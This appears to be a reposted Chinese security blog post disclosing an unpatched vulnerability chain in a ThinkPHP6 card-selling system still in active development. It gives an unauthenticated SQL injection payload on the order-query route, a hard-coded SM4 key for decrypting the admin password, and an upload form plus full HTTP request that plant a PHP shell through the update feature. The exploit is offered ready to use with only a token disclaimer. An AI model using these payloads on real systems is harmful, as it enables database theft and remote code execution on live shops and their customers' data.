[代码审计] 某发卡系统 首发0day

admin 2024年4月25日16:41:29评论47 views字数 2139阅读7分7秒阅读模式

请遵守法律法规,合法冲浪

本文仅作知识分享用

一切直接或间接由于本文所造成的后果与本人无关

写在前面

偶然刷到的一套发卡系统,开发人员仍在维护更新,简单看了一下,通过SQL注入可以进后台getshell,很简单,看个乐呵

系统简介

由ThinkPHP6开发的发卡管理系统。

开发语言:PHP开发框架:ThinkPHP6后台登录:/adminx/login.html分站后台:/admin/login.html管理账密:SM4(“xiaoyewl”,password)

[代码审计] 某发卡系统 首发0day

[代码审计] 某发卡系统 首发0day

代码解析

今天没有Seay启动了,因为是tp的框架,代码审起来比较轻松。

前台SQL注入

在“app/index/controller/ChadanController.php”的“queryOrderPage”函数中,参数“orderId”没有经过任何的过滤直接被拼接在了SQL语句里。

[代码审计] 某发卡系统 首发0day

构造出访问路由,这里就直接用sqlmap的payload演示了:

[代码审计] 某发卡系统 首发0day

sqlmap直接管理员账号密码

[代码审计] 某发卡系统 首发0day

原本以为开发偷懒,用base64编码密码,很显然是想多了。

[代码审计] 某发卡系统 首发0day

既然不是,那就从源码出发,找到管理员登录的代码,看到是有“encrypt”方法的。

[代码审计] 某发卡系统 首发0day

找到“encrypt”声明的地方,看到用的加密是sm4,并且“key”也是给出了,为“xiaoyewl”。

[代码审计] 某发卡系统 首发0day

也是在“extend/sm4/SM4.php”找到了加密的代码,copy下来本地实现一下,最后成功解密。

[代码审计] 某发卡系统 首发0day

[代码审计] 某发卡系统 首发0day

最后也是成功登录后台。

[代码审计] 某发卡系统 首发0day

后台getshell

漏洞功能点在后台系统更新处,管理员可以选择手动上传zip更新。其中参数“path”为zip地址,参数“versionId”没有用(忽略)。

[代码审计] 某发卡系统 首发0day

“str_ireplace(request()->domain(), '', $path);”是将参数“path”中的域名给替换为空,起初想着可以通过远程zip。但是“public_path() . $path;”中的“public_path()”方法(代码如下图所示),会在“path”前拼接目标服务器本地目录,所以远程zip的方案不可行了。

[代码审计] 某发卡系统 首发0day

后面的代码就不用分析了,就是解压zip的过程。

No.1 先上传构造好的zip(public/test.php)至目标服务器。

[代码审计] 某发卡系统 首发0day

No.2 利用系统的更新功能,将zip中的php释放到目标服务器web。

[代码审计] 某发卡系统 首发0day

然后访问“/test.php”,成功RCE。

[代码审计] 某发卡系统 首发0day

漏洞总结

前台SQL注入

/index/chadan/queryorderpageorderId=1") and gtid_subset(concat(0x7e,(select version()),0x7e),7087) and ("1"="1

后台getshell

No.1 上传zip

<html><head>    <title>文件上传</title></head><body><form action="http://xxx.xxx.xxx/adminx/upload/zip" method="post" enctype="multipart/form-data">  文件:<input type="file" name="file"><br>  <input type="submit" value="提交"></form></body></html>

No.2 更新解压

POST /adminx/version/manualUpdate.html HTTP/1.1Host: xxx.xxx.xxxContent-Length: 24Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://xxx.xxx.xxx/Referer: http://xxx.xxx.xxx/adminx/version/index.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=ecb57a3b4b36ae49d3ede594576ebd8cx-forwarded-for: 127.0.0.1sec-ch-ua-platform: "Windows"sec-ch-ua: "Google Chrome";v="116", "Chromium";v="116", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0Connection: closepath=./storage/upload/yunyeka/20240423/39d0da9f3689f67f20a42ea54e8fb40f.zip&versionId=3.7.0

[代码审计] 某发卡系统 首发0day

原文始发于微信公众号(不够安全):[代码审计] 某发卡系统 首发0day

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月25日16:41:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [代码审计] 某发卡系统 首发0dayhttp://cn-sec.com/archives/2688272.html

发表评论

匿名网友 填写信息